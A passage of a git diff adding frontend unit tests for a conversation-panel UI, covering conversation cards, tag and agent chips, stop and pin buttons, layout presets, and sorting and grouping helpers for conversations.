+    const onContextMenuToggle = vi.fn();
+    const { rerender } = renderWithProviders(
+      <ConversationCard
+        onClick={onClick}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        contextMenuOpen
+        onContextMenuToggle={onContextMenuToggle}
+      />,
+    );
+
+    const menu = await screen.findByTestId("context-menu");
+    expect(within(menu).queryByTestId("edit-button")).toBeInTheDocument();
+    expect(within(menu).queryByTestId("delete-button")).not.toBeInTheDocument();
+
+    rerender(
+      <ConversationCard
+        onClick={onClick}
+        onDelete={onDelete}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        contextMenuOpen
+        onContextMenuToggle={onContextMenuToggle}
+      />,
+    );
+
+    const newMenu = await screen.findByTestId("context-menu");
+    expect(
+      within(newMenu).queryByTestId("edit-button"),
+    ).not.toBeInTheDocument();
+    expect(within(newMenu).queryByTestId("delete-button")).toBeInTheDocument();
+  });
+
+  it("should not render the ellipsis button if there are no actions", () => {
+    const { rerender } = renderWithProviders(
+      <ConversationCard
+        onClick={onClick}
+        onDelete={onDelete}
+        onChangeTitle={onChangeTitle}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+      />,
+    );
+
+    expect(screen.getByTestId("ellipsis-button")).toBeInTheDocument();
+
+    rerender(
+      <ConversationCard
+        onClick={onClick}
+        onDelete={onDelete}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+      />,
+    );
+
+    expect(screen.getByTestId("ellipsis-button")).toBeInTheDocument();
+
+    rerender(
+      <ConversationCard
+        onClick={onClick}
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+      />,
+    );
+
+    expect(screen.queryByTestId("ellipsis-button")).not.toBeInTheDocument();
+  });
+
+  it("renders the status dot in the header when executionStatus is provided", () => {
+    renderWithProviders(
+      <ConversationCard
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        executionStatus={ExecutionStatus.RUNNING}
+      />,
+    );
+
+    expect(
+      screen.getByTestId("conversation-status-working"),
+    ).toBeInTheDocument();
+  });
+
+  const statusTable: [ExecutionStatus, boolean][] = [
+    [ExecutionStatus.RUNNING, true],
+    [ExecutionStatus.IDLE, true],
+    [ExecutionStatus.FINISHED, true],
+    [ExecutionStatus.WAITING_FOR_CONFIRMATION, true],
+    [ExecutionStatus.ERROR, false],
+    [ExecutionStatus.STUCK, false],
+    [ExecutionStatus.PAUSED, false],
+  ];
+
+  it.each(statusTable)(
+    "should toggle stop button visibility correctly for execution status",
+    (executionStatus, shouldShow) => {
+      renderWithProviders(
+        <ConversationCardActions
+          contextMenuOpen={true}
+          onContextMenuToggle={vi.fn()}
+          onStop={vi.fn()}
+          executionStatus={executionStatus}
+        />,
+      );
+
+      const stopButton = screen.queryByTestId("stop-button");
+
+      if (shouldShow) {
+        expect(stopButton).toBeInTheDocument();
+      } else {
+        expect(stopButton).not.toBeInTheDocument();
+      }
+    },
+  );
+
+  describe("stop button label by active backend", () => {
+    const cloudBackend: Backend = {
+      id: "prod",
+      name: "Production",
+      host: "https://app.all-hands.dev",
+      apiKey: "bearer-token",
+      kind: "cloud",
+    };
+
+    afterEach(() => {
+      __resetActiveStoreForTests();
+    });
+
+    it("uses COMMON$STOP_CONVERSATION on a local backend", () => {
+      // Default active backend (no provider, no registered backends) is the
+      // bundled local backend.
+      renderWithProviders(
+        <ConversationCardActions
+          contextMenuOpen={true}
+          onContextMenuToggle={vi.fn()}
+          onStop={vi.fn()}
+          executionStatus={ExecutionStatus.RUNNING}
+        />,
+      );
+
+      expect(screen.getByTestId("stop-button")).toHaveTextContent(
+        "COMMON$STOP_CONVERSATION",
+      );
+    });
+
+    it("uses COMMON$CLOSE_CONVERSATION_STOP_RUNTIME on a cloud backend", () => {
+      setRegisteredBackends([cloudBackend]);
+      setActiveSelection({ backendId: cloudBackend.id });
+
+      renderWithProviders(
+        <ActiveBackendProvider>
+          <ConversationCardActions
+            contextMenuOpen={true}
+            onContextMenuToggle={vi.fn()}
+            onStop={vi.fn()}
+            executionStatus={ExecutionStatus.RUNNING}
+          />
+        </ActiveBackendProvider>,
+      );
+
+      expect(screen.getByTestId("stop-button")).toHaveTextContent(
+        "COMMON$CLOSE_CONVERSATION_STOP_RUNTIME",
+      );
+    });
+  });
+
+  describe("Tag chips", () => {
+    // Tag chips surface the agent-server's server-side conversation tags
+    // (e.g. ``origin=slack`` stamped by an automation) and are gated by the
+    // conversation panel's "Tags" toggle (``showTags``). Chip labels are
+    // value-only; the full ``key: value`` lives in the chip tooltip.
+    it("renders non-reserved tags as value-only chips when showTags is on", () => {
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          showTags
+          tags={{ origin: "slack", owner: "alice" }}
+        />,
+      );
+
+      const chips = screen.getAllByTestId("conversation-card-tag-chip");
+      // ``origin`` is a priority key, so it leads; remaining keys sort A–Z.
+      expect(chips).toHaveLength(2);
+      expect(chips[0]).toHaveTextContent("slack");
+      expect(chips[0].getAttribute("title")).toMatch(/: slack$/);
+      expect(chips[0].getAttribute("title")).not.toContain("origin");
+      expect(chips[1]).toHaveTextContent("alice");
+      expect(chips[1]).toHaveAttribute("title", "Owner: alice");
+      expect(
+        within(chips[0]).getByTestId("conversation-card-tag-chip-icon"),
+      ).toHaveAttribute("data-tag-key", "origin");
+      expect(
+        within(chips[1]).getByTestId("conversation-card-tag-chip-icon"),
+      ).toHaveAttribute("data-tag-key", "owner");
+      expect(
+        screen.queryByTestId("conversation-tags-indicator"),
+      ).not.toBeInTheDocument();
+    });
+
+    it("filters reserved tag keys out of the chip row", () => {
+      // Reserved keys already have a first-class UI source (ACP chip, title,
+      // repo/branch/workspace metadata) and must not double-render as tags.
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          showTags
+          tags={{
+            acpserver: "claude-code",
+            title: "ignored title tag",
+            git_provider: "github",
+            repo_name: "org/repo",
+            selected_branch: "main",
+            archiveworkspacepath: "/workspace/project",
+            origin: "review",
+          }}
+        />,
+      );
+
+      const chips = screen.getAllByTestId("conversation-card-tag-chip");
+      expect(chips).toHaveLength(1);
+      expect(chips[0]).toHaveTextContent("review");
+      expect(chips[0].getAttribute("title")).toMatch(/: review$/);
+      expect(chips[0].getAttribute("title")).not.toContain("origin");
+    });
+
+    it("hides every automation provenance chip", () => {
+      // The whole automation family is reserved: the SDK stamps it at
+      // creation and the panel's automation filter is its first-class UI
+      // source. Rendering it as tag chips would double-book the user-facing
+      // tag surface — and let user-authored tags spoof automation
+      // classification.
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          showTags
+          tags={{
+            automationname: "Nightly Audit",
+            automationtrigger: "cron",
+            automationid: "3f2b6c1e-1111-4222-8333-abcdefabcdef",
+            automationrunid: "run-0001",
+          }}
+        />,
+      );
+
+      expect(
+        screen.queryByTestId("conversation-card-tag-chip"),
+      ).not.toBeInTheDocument();
+    });
+
+    it("hides the chips when showTags is omitted", () => {
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          tags={{ origin: "slack" }}
+        />,
+      );
+
+      expect(
+        screen.queryByTestId("conversation-card-tag-chip"),
+      ).not.toBeInTheDocument();
+    });
+
+    it("renders no tag UI at all when the Tags preference is off", () => {
+      // The preference owns presence: off means nothing about tags on the
+      // card, not even the indicator. This is what keeps the preference and
+      // the card from ever disagreeing — there is no card-level control left
+      // that could put tags back on screen while the toggle reads off.
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          tags={{ origin: "slack", owner: "alice" }}
+        />,
+      );
+
+      expect(
+        screen.queryByTestId("conversation-tags-indicator"),
+      ).not.toBeInTheDocument();
+      expect(
+        screen.queryByTestId("conversation-card-tag-chip"),
+      ).not.toBeInTheDocument();
+    });
+
+    it("renders no indicator when every tag is reserved", () => {
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          showTags
+          tags={{ acpserver: "claude-code" }}
+        />,
+      );
+
+      expect(
+        screen.queryByTestId("conversation-tags-indicator"),
+      ).not.toBeInTheDocument();
+    });
+
+    it("keeps chips on a single nowrap row", () => {
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          showTags
+          tags={{ env: "prod", origin: "slack", owner: "alice" }}
+        />,
+      );
+
+      const row = screen.getByTestId("conversation-card-tag-row");
+      expect(row).toHaveClass("flex-nowrap");
+      expect(row).toHaveClass("overflow-hidden");
+    });
+
+    it("hard-truncates long chip values while keeping the full tooltip", () => {
+      const longValue = "abcdefghijklmnopqrstuvwxyz";
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          showTags
+          tags={{ token: longValue }}
+        />,
+      );
+
+      const chip = screen.getByTestId("conversation-card-tag-chip");
+      expect(chip).toHaveTextContent("abcdefghijklm…");
+      expect(chip).toHaveAttribute("title", `Token: ${longValue}`);
+    });
+
+    it("renders no chip row when every tag is reserved", () => {
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          showTags
+          tags={{ acpserver: "claude-code" }}
+        />,
+      );
+
+      expect(
+        screen.queryByTestId("conversation-card-tag-chip"),
+      ).not.toBeInTheDocument();
+    });
+  });
+
+  describe("Agent chip", () => {
+    // The agent chip is gated by the conversation panel's "Agent / model"
+    // toggle (``showLlmProfiles``) — one control for both ACP and OpenHands
+    // cards. The renders below pass ``showLlmProfiles`` to exercise the chip;
+    // the omitted-prop fallback is covered by the first two tests.
+    it("hides the chip when showLlmProfiles is omitted for ACP", () => {
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          agentKind="acp"
+          acpServer="claude-code"
+          llmModel="claude-opus-4-7"
+        />,
+      );
+
+      expect(
+        screen.queryByTestId("conversation-card-agent-chip"),
+      ).not.toBeInTheDocument();
+    });
+
+    it("hides the chip when showLlmProfiles is omitted for OpenHands", () => {
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          agentKind="openhands"
+          llmModel="claude-sonnet-4"
+        />,
+      );
+
+      expect(
+        screen.queryByTestId("conversation-card-agent-chip"),
+      ).not.toBeInTheDocument();
+    });
+
+    it("renders the brand mark + model for an ACP conversation with a model", () => {
+      // PR 730 wires ``current_model_name``/``current_model_id``/configured
+      // ``acp_model`` into ``llm_model`` on the adapter so ACP conversations
+      // arrive at the card with a concrete model string. With the chip toggle
+      // on, the chip shows the resolved Claude brand mark + that model text.
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          showLlmProfiles
+          agentKind="acp"
+          acpServer="claude-code"
+          llmModel="raw-model-id"
+        />,
+      );
+
+      const chip = screen.getByTestId("conversation-card-agent-chip");
+      // A raw model string not in the registry passes through verbatim
+      // (label resolution for known IDs is covered by the next test).
+      expect(chip).toHaveTextContent("raw-model-id");
+      expect(chip).toHaveAttribute("title", "Claude Code · raw-model-id");
+      expect(
+        within(chip).getByTestId("agent-brand-icon-claude-code"),
+      ).toBeInTheDocument();
+    });
+
+    it("shows the provider's picker label for a known model ID", () => {
+      // When ``llm_model`` is a registry-known ID, the chip renders the
+      // human label ("Claude Opus (1M)") instead of the raw ID — matching
+      // what the Settings → Agent picker shows for the same value.
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          showLlmProfiles
+          agentKind="acp"
+          acpServer="claude-code"
+          llmModel="opus[1m]"
+        />,
+      );
+
+      const chip = screen.getByTestId("conversation-card-agent-chip");
+      expect(chip).toHaveTextContent("Claude Opus (1M)");
+      expect(chip).toHaveAttribute("title", "Claude Code · Claude Opus (1M)");
+    });
+
+    it("falls back to the provider display name for an ACP conversation with no model", () => {
+      // No ``llm_model`` (older agent-server, no SDK runtime fields, no
+      // configured ``acp_model``) — the chip still renders for identity, with
+      // the provider name as the text and the brand mark as the icon.
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          showLlmProfiles
+          agentKind="acp"
+          acpServer="claude-code"
+        />,
+      );
+
+      const chip = screen.getByTestId("conversation-card-agent-chip");
+      expect(chip).toHaveTextContent("Claude Code");
+      expect(chip).toHaveAttribute("title", "Claude Code");
+      expect(
+        within(chip).getByTestId("agent-brand-icon-claude-code"),
+      ).toBeInTheDocument();
+    });
+
+    it("falls back to the generic terminal glyph when the server key is unknown", () => {
+      // ``custom`` (and any future ACP server Canvas doesn't know yet) maps
+      // to the fallback ``cli-generic`` icon and the generic "ACP" label.
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          showLlmProfiles
+          agentKind="acp"
+          acpServer="custom"
+        />,
+      );
+
+      const chip = screen.getByTestId("conversation-card-agent-chip");
+      expect(chip).toHaveTextContent("ACP");
+      expect(
+        within(chip).getByTestId("agent-brand-icon-generic"),
+      ).toBeInTheDocument();
+    });
+
+    it("falls back to the generic terminal glyph when the server key is null", () => {
+      // ACP conversations missing the ``acpserver`` tag (older clients,
+      // raw API writes) still get a chip — identity first, exact provider
+      // second.
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          showLlmProfiles
+          agentKind="acp"
+          acpServer={null}
+        />,
+      );
+
+      const chip = screen.getByTestId("conversation-card-agent-chip");
+      expect(chip).toHaveTextContent("ACP");
+      expect(
+        within(chip).getByTestId("agent-brand-icon-generic"),
+      ).toBeInTheDocument();
+    });
+
+    it("renders the OpenHands logo + model name for native conversations", () => {
+      // With the chip toggle on, OpenHands native conversations show the
+      // OpenHands logo + the raw ``agent.llm.model`` string. A stray
+      // ``acp_server`` value on an OpenHands card must not flip the icon to
+      // the Claude/Codex/Gemini brand mark.
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          showLlmProfiles
+          agentKind="openhands"
+          acpServer="claude-code"
+          llmModel="claude-sonnet-4"
+        />,
+      );
+
+      const chip = screen.getByTestId("conversation-card-agent-chip");
+      expect(chip).toHaveTextContent("claude-sonnet-4");
+      expect(chip).toHaveAttribute("title", "claude-sonnet-4");
+      expect(
+        within(chip).getByTestId("agent-brand-icon-openhands"),
+      ).toBeInTheDocument();
+      expect(
+        within(chip).queryByTestId("agent-brand-icon-claude-code"),
+      ).not.toBeInTheDocument();
+    });
+
+    it("labels a DB-flagged free OpenHands route on native conversation chips", () => {
+      useFreeModelsStore.getState().setFlags({
+        freeModels: new Set(["openhands/glm-5.2"]),
+        defaultModel: "openhands/glm-5.2",
+      });
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          showLlmProfiles
+          agentKind="openhands"
+          llmModel="openhands/glm-5.2"
+        />,
+      );
+
+      const chip = screen.getByTestId("conversation-card-agent-chip");
+      expect(chip).toHaveTextContent("glm-5.2 (free)");
+      expect(chip).toHaveAttribute("title", "openhands/glm-5.2");
+
+      useFreeModelsStore.getState().setFlags({
+        freeModels: new Set(),
+        defaultModel: null,
+      });
+    });
+
+    it("hides the chip for OpenHands conversations with no model", () => {
+      // Toggle on, but no model string and no ACP server — nothing to
+      // display, so the chip collapses rather than showing a bare logo.
+      renderWithProviders(
+        <ConversationCard
+          title="Conversation 1"
+          selectedRepository={null}
+          lastUpdatedAt="2021-10-01T12:00:00Z"
+          showLlmProfiles
+          agentKind="openhands"
+          llmModel={null}
+        />,
+      );
+
+      expect(
+        screen.queryByTestId("conversation-card-agent-chip"),
+      ).not.toBeInTheDocument();
+    });
+  });
+
+  it("calls onTogglePin when the pin button is clicked", async () => {
+    const onTogglePin = vi.fn();
+    const user = userEvent.setup();
+
+    renderWithProviders(
+      <ConversationCard
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        conversationId="conversation-1"
+        onDelete={vi.fn()}
+        onTogglePin={onTogglePin}
+      />,
+    );
+
+    const card = screen.getByTestId("conversation-card");
+    await user.hover(card);
+    await user.click(
+      screen.getByTestId("conversation-pin-toggle-conversation-1"),
+    );
+    expect(onTogglePin).toHaveBeenCalledTimes(1);
+  });
+
+  it("keeps the pin icon visible without hover when alwaysShowPinIcon is set", () => {
+    renderWithProviders(
+      <ConversationCard
+        title="Conversation 1"
+        selectedRepository={null}
+        lastUpdatedAt="2021-10-01T12:00:00Z"
+        conversationId="conversation-1"
+        onDelete={vi.fn()}
+        onTogglePin={vi.fn()}
+        isPinned
+        alwaysShowPinIcon
+      />,
+    );
+
+    expect(
+      screen.getByTestId("conversation-pin-toggle-conversation-1"),
+    ).toBeVisible();
+    expect(screen.getByRole("time")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-layouts-menu.test.tsx b/__tests__/components/features/conversation-panel/conversation-layouts-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..1c666860e20e631c67a5dbf630d8f94800dedd40
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-layouts-menu.test.tsx
@@ -0,0 +1,206 @@
+import { beforeEach, describe, expect, it } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { ConversationLayoutsMenu } from "#/components/features/conversation-panel/conversation-layouts-menu";
+import { useConversationPanelPreferencesStore } from "#/stores/conversation-panel-preferences-store";
+import { UNNAMED_AUTOMATION_FACET } from "#/components/features/conversation-panel/conversation-panel-list-helpers";
+
+beforeEach(() => {
+  useConversationPanelPreferencesStore.setState({
+    organizeMode: "chronological",
+    conversationSort: "updated",
+    threadScope: "all",
+    showOlderConversations: true,
+    showArchivedConversations: false,
+    showRepoBranchMetadata: false,
+    showLlmProfiles: false,
+    showTagsMetadata: false,
+    showHoverMetadata: true,
+    automationFilterMode: "all",
+    selectedAutomationNames: [],
+    selectedTagFacets: [],
+  });
+});
+
+const renderMenu = (
+  tagFacets: readonly string[] = [],
+  automationNameFacets: readonly string[] = [],
+) =>
+  renderWithProviders(
+    <ConversationLayoutsMenu
+      menuOpen
+      setMenuOpen={() => {}}
+      menuRef={{ current: null }}
+      backendKind="local"
+      tagFacets={tagFacets}
+      automationNameFacets={automationNameFacets}
+      totalConversationsCount={1}
+      onRequestDeleteAll={() => {}}
+    />,
+  );
+
+describe("ConversationLayoutsMenu", () => {
+  it("applies a layout preset bundle and marks it selected", async () => {
+    const user = userEvent.setup();
+    renderMenu();
+
+    await user.click(screen.getByTestId("layout-preset-focused"));
+
+    const state = useConversationPanelPreferencesStore.getState();
+    expect(state.organizeMode).toBe("chronological");
+    expect(state.conversationSort).toBe("updated");
+    expect(state.threadScope).toBe("relevant");
+    expect(state.showOlderConversations).toBe(false);
+    // Applying a preset resets every layout-controlled field.
+    expect(state.showTagsMetadata).toBe(true);
+    expect(state.showHoverMetadata).toBe(true);
+  });
+
+  it("replaces the previous mode and marks each clicked preset selected", async () => {
+    const user = userEvent.setup();
+    renderMenu();
+
+    await user.click(screen.getByTestId("layout-preset-minimal"));
+    expect(screen.getByTestId("layout-preset-minimal")).toHaveAttribute(
+      "aria-checked",
+      "true",
+    );
+
+    await user.click(screen.getByTestId("layout-preset-focused"));
+    expect(screen.getByTestId("layout-preset-focused")).toHaveAttribute(
+      "aria-checked",
+      "true",
+    );
+    expect(screen.getByTestId("layout-preset-minimal")).toHaveAttribute(
+      "aria-checked",
+      "false",
+    );
+    expect(
+      useConversationPanelPreferencesStore.getState().showTagsMetadata,
+    ).toBe(true);
+
+    await user.click(screen.getByTestId("layout-preset-recent-activity"));
+    expect(
+      screen.getByTestId("layout-preset-recent-activity"),
+    ).toHaveAttribute("aria-checked", "true");
+
+    await user.click(screen.getByTestId("layout-preset-by-workspace"));
+    expect(screen.getByTestId("layout-preset-by-workspace")).toHaveAttribute(
+      "aria-checked",
+      "true",
+    );
+  });
+
+  it("labels the Advanced options row Custom when no preset matches", async () => {
+    // Matches no preset: the chronological presets all hide older
+    // conversations, and by-workspace requires grouped mode.
+    useConversationPanelPreferencesStore.getState().applyLayoutSettings({
+      organizeMode: "chronological",
+      conversationSort: "updated",
+      threadScope: "relevant",
+      showOlderConversations: true,
+    });
+
+    renderMenu();
+
+    expect(screen.getByTestId("advanced-options-row")).toHaveTextContent(
+      "CONVERSATION_PANEL$ADVANCED_OPTIONS_CUSTOM",
+    );
+  });
+
+  it("always exposes the Tag Filters section", () => {
+    renderMenu(["project=vault"]);
+    expect(screen.getByTestId("tag-filters-section")).toBeInTheDocument();
+  });
+
+  it("shows No visible tags when enabled with no facets, and toggles facets when present", async () => {
+    const user = userEvent.setup();
+    const { unmount } = renderMenu();
+    await user.click(screen.getByTestId("tag-filters-section"));
+    expect(screen.getByTestId("tag-filters-empty")).toBeInTheDocument();
+    unmount();
+
+    renderMenu(["project=vault"]);
+    await user.click(screen.getByTestId("tag-filters-section"));
+    await user.click(screen.getByTestId("tag-facet-row-project=vault"));
+    expect(
+      useConversationPanelPreferencesStore.getState().selectedTagFacets,
+    ).toEqual(["project=vault"]);
+  });
+
+  it("opens the Advanced options modal, applies toggles live, and closes via Close", async () => {
+    const user = userEvent.setup();
+    renderMenu();
+
+    expect(
+      screen.queryByTestId("advanced-conversation-options-modal"),
+    ).not.toBeInTheDocument();
+
+    await user.click(screen.getByTestId("advanced-options-row"));
+    expect(
+      await screen.findByTestId("advanced-conversation-options-modal"),
+    ).toBeInTheDocument();
+
+    // Toggle rows apply immediately and keep the modal open.
+    await user.click(screen.getByTestId("toggle-tags-metadata"));
+    expect(
+      useConversationPanelPreferencesStore.getState().showTagsMetadata,
+    ).toBe(true);
+    expect(
+      screen.getByTestId("advanced-conversation-options-modal"),
+    ).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("advanced-options-close"));
+    expect(
+      screen.queryByTestId("advanced-conversation-options-modal"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("exposes the automation-name facet rows once the scope is only-automations", async () => {
+    // These rows are the only control for `selectedAutomationNames`, which is
+    // persisted and narrows the list on its own — without them a stale
+    // selection hides conversations with no way back.
+    const user = userEvent.setup();
+    renderMenu([], ["Nightly Audit", "PR Review Bot"]);
+
+    await user.click(screen.getByTestId("advanced-options-row"));
+    await screen.findByTestId("advanced-conversation-options-modal");
+
+    // Hidden while the list is not scoped to automations...
+    expect(
+      screen.queryByTestId("automation-name-row-Nightly Audit"),
+    ).not.toBeInTheDocument();
+
+    await user.click(screen.getByTestId("automation-filter-only"));
+
+    // ...and selectable once it is.
+    await user.click(
+      await screen.findByTestId("automation-name-row-Nightly Audit"),
+    );
+    expect(
+      useConversationPanelPreferencesStore.getState().selectedAutomationNames,
+    ).toEqual(["Nightly Audit"]);
+
+    // Toggling it back off leaves the scope alone.
+    await user.click(screen.getByTestId("automation-name-row-Nightly Audit"));
+    const next = useConversationPanelPreferencesStore.getState();
+    expect(next.selectedAutomationNames).toEqual([]);
+    expect(next.automationFilterMode).toBe("only-automations");
+  });
+
+  it("labels the unnamed-automation bucket instead of leaking its sentinel", async () => {
+    const user = userEvent.setup();
+    useConversationPanelPreferencesStore.setState({
+      automationFilterMode: "only-automations",
+    });
+    renderMenu([], [UNNAMED_AUTOMATION_FACET]);
+
+    await user.click(screen.getByTestId("advanced-options-row"));
+
+    const row = await screen.findByTestId(
+      `automation-name-row-${UNNAMED_AUTOMATION_FACET}`,
+    );
+    expect(row).not.toHaveTextContent(UNNAMED_AUTOMATION_FACET);
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-panel-list-helpers.test.ts b/__tests__/components/features/conversation-panel/conversation-panel-list-helpers.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..2453a0277f7ea6917aa03bd800eac119b8b1ea90
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-panel-list-helpers.test.ts
@@ -0,0 +1,879 @@
+import { describe, expect, it } from "vitest";
+import {
+  applyAutomationConversationFilter,
+  applyGroupFolderOrder,
+  applyTagConversationFilter,
+  collectAutomationNameFacets,
+  collectTagFacets,
+  formatTagFacetLabel,
+  getGroupConversationPreview,
+  getGroupDiscoveryConversationIds,
+  groupConversations,
+  GROUP_CONVERSATIONS_PREVIEW_LIMIT,
+  isAutomationConversation,
+  isOlderConversationCutoff,
+  parseConversationTimeMs,
+  partitionByCutoff,
+  OLDER_CONVERSATION_CUTOFF_MS,
+  moveGroupFolderOrder,
+  resolvePinnedConversations,
+  sortConversationsByField,
+  UNNAMED_AUTOMATION_FACET,
+} from "#/components/features/conversation-panel/conversation-panel-list-helpers";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+import { ExecutionStatus } from "#/types/agent-server/core";
+
+const base: Omit<AppConversation, "id" | "title" | "workspace"> = {
+  selected_repository: null,
+  selected_branch: null,
+  git_provider: null,
+  updated_at: "2024-01-02T00:00:00.000Z",
+  created_at: "2024-01-01T00:00:00.000Z",
+  execution_status: ExecutionStatus.FINISHED,
+  conversation_url: null,
+  created_by_user_id: null,
+  metrics: null,
+  llm_model: null,
+  trigger: null,
+  pr_number: [],
+  session_api_key: null,
+  sandbox_id: null,
+  sub_conversation_ids: [],
+};
+
+describe("conversation-panel-list-helpers", () => {
+  it("parseConversationTimeMs returns 0 for missing or unparseable timestamps and ms for ISO strings", () => {
+    // Three branches in one assertion: missing input (undefined), malformed
+    // string (NaN from Date.parse), and a real ISO timestamp.
+    expect([
+      parseConversationTimeMs(undefined),
+      parseConversationTimeMs("not-a-date"),
+      parseConversationTimeMs("2024-01-02T00:00:00.000Z"),
+    ]).toEqual([0, 0, Date.UTC(2024, 0, 2)]);
+  });
+
+  it("sorts by updated desc", () => {
+    const a: AppConversation = {
+      ...base,
+      id: "a",
+      title: "a",
+      updated_at: "2024-01-01T00:00:00.000Z",
+      created_at: "2024-01-01T00:00:00.000Z",
+    };
+    const b: AppConversation = {
+      ...base,
+      id: "b",
+      title: "b",
+      updated_at: "2024-01-03T00:00:00.000Z",
+      created_at: "2024-01-01T00:00:00.000Z",
+    };
+    expect(
+      sortConversationsByField([a, b], "updated").map((c) => c.id),
+    ).toEqual(["b", "a"]);
+  });
+
+  it("sorts by created desc independently of updated", () => {
+    // Inverted: the newer `created_at` belongs to the older `updated_at`,
+    // so a "created" sort must NOT fall through to `updated_at`.
+    const a: AppConversation = {
+      ...base,
+      id: "a",
+      title: "a",
+      created_at: "2024-01-05T00:00:00.000Z",
+      updated_at: "2024-01-01T00:00:00.000Z",
+    };
+    const b: AppConversation = {
+      ...base,
+      id: "b",
+      title: "b",
+      created_at: "2024-01-02T00:00:00.000Z",
+      updated_at: "2024-01-10T00:00:00.000Z",
+    };
+    expect(
+      sortConversationsByField([b, a], "created").map((c) => c.id),
+    ).toEqual(["a", "b"]);
+  });
+
+  it("normalizes group keys and labels across edge-case inputs", () => {
+    // Bundles edge cases the implementation must handle into one assertion
+    // so each is covered without proliferating tests:
+    //  - workspace paths with trailing slashes are normalized
+    //  - whitespace-only `selected_workspace` falls back to "No workspace"
+    //  - root-only paths ("/", "///") trim+strip to "" and bucket to the
+    //    "no workspace" / "no repository" fallback instead of producing
+    //    stray `ws:` / `repo:/` groups
+    //  - repository paths ignore trailing slashes (so `org/repo` and
+    //    `org/repo/` collapse into the same group)
+    //  - repository names ending in `.git` strip the suffix in the label
+    //  - missing/invalid timestamps don't break group ordering (they sort
+    //    to the bottom rather than throwing)
+    const trailingSlash: AppConversation = {
+      ...base,
+      id: "ws-trailing",
+      title: "ws-trailing",
+      selected_workspace: "/workspace/agent-server-gui///",
+      updated_at: "2024-01-04T00:00:00.000Z",
+    };
+    const whitespaceOnly: AppConversation = {
+      ...base,
+      id: "ws-blank",
+      title: "ws-blank",
+      selected_workspace: "   ",
+      updated_at: "2024-01-02T00:00:00.000Z",
+    };
+    const rootOnly: AppConversation = {
+      ...base,
+      id: "ws-root",
+      title: "ws-root",
+      selected_workspace: "/",
+      updated_at: "2024-01-03T00:00:00.000Z",
+    };
+    const localGroups = groupConversations(
+      [trailingSlash, whitespaceOnly, rootOnly],
+      "local",
+      "updated",
+      { emptyWorkspace: "No workspace", emptyRepository: "No repository" },
+    );
+    expect(
+      localGroups.map((g) => ({
+        id: g.id,
+        label: g.label,
+        ids: g.conversations.map((c) => c.id),
+      })),
+    ).toEqual([
+      {
+        id: "ws:/workspace/agent-server-gui",
+        label: "agent-server-gui",
+        ids: ["ws-trailing"],
+      },
